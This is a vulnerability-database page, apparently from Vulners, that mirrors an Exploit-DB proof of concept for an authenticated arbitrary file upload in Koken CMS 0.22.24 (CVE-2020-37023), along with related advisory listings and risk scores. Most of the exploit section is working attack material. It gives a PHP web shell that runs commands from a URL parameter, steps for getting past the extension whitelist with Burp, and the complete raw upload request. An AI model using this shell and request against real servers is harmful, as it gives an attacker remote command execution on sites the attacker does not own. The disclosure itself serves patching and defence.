Lucene search
+L

Koken CMS 0.22.24 - Authenticated Arbitrary File Upload

🗓️ 26 Jul 2020 00:00:00Reported by V1n1v131r4Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 663 Views

Koken CMS Arbitrary File Upload via WhiteList Bypas

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-37023
30 Jan 202622:07
–attackerkb
cnnvd
CNNVD
Koken CMS code-related vulnerabilities
30 Jan 202600:00
–cnnvd
cve
CVE
CVE-2020-37023
30 Jan 202622:07
–cve
cvelist
Cvelist
CVE-2020-37023 Koken CMS 0.22.24 - Arbitrary File Upload
30 Jan 202622:07
–cvelist
euvd
EUVD
EUVD-2020-30953
31 Jan 202600:30
–euvd
nvd
NVD
CVE-2020-37023
30 Jan 202623:16
–nvd
ptsecurity
Positive Technologies
PT-2026-5465
30 Jan 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-37023: Unrestricted Upload of File with Dangerous Type
30 Jan 202600:00
–rapid7
vulnrichment
Vulnrichment
CVE-2020-37023 Koken CMS 0.22.24 - Arbitrary File Upload
30 Jan 202622:07
–vulnrichment
# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md

The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.

Steps to exploit:

1. Create a malicious PHP file with this content:

   <?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

4. On Burp, rename your file to "image.php"


POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]

-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="name"

image.php
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunk"

0
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunks"

1
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="upload_session_start"

1594831856
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="visibility"

public
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="license"

all
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="max_download"

none
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']);?>

-----------------------------2391361183188899229525551--



5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
CVSS 3.18.8
EPSS0.02431
SSVC
663